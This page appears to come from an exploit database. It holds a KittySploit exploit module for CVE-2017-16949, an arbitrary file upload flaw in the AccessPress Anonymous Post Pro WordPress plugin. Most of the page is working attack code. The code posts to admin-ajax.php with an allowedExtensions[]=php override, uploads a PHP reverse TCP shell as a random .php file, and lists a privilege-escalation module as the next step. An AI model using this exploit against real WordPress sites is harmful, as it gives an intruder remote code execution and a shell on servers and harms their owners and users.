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Wordpress Plugin Accesspress - Shell Upload

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
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Improper input sanitization in AccessPress Anonymous Post Pro allows arbitrary file upload.

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Code
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):

    __info__ = {
        "name": "Wordpress Plugin Accesspress - Shell Upload",
        "description": "An issue was discovered in the AccessKeys AccessPress Anonymous Post Pro plugin through 3.1.9 "\
                        "for WordPress. Improper input sanitization allows the attacker to override the settings "\
                        "for allowed file extensions and upload file size, related to inc/cores/file-uploader.php "\
                        "and file-uploader/file-uploader-class.php. This allows the attacker to upload anything they "\
                        "want to the server, as demonstrated by an action=ap_file_upload_action&allowedExtensions[]=php "\
                        "request to /wp-admin/admin-ajax.php that results in a .php file upload and resultant PHP code execution.",
        "cve": "2017-16949",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
            },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }	
    
    def run(self):

        filename = self.random_text(8)+".php"
        payload = "<?php "+self.payload + "?>"
        files = {'qqfile': (filename, payload, "multipart/form-data")}

        r = self.http_request(
                        method="POST",
                        path="/wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000",
                        files=files
        )
        if not r:
            self.not_vulnerable()

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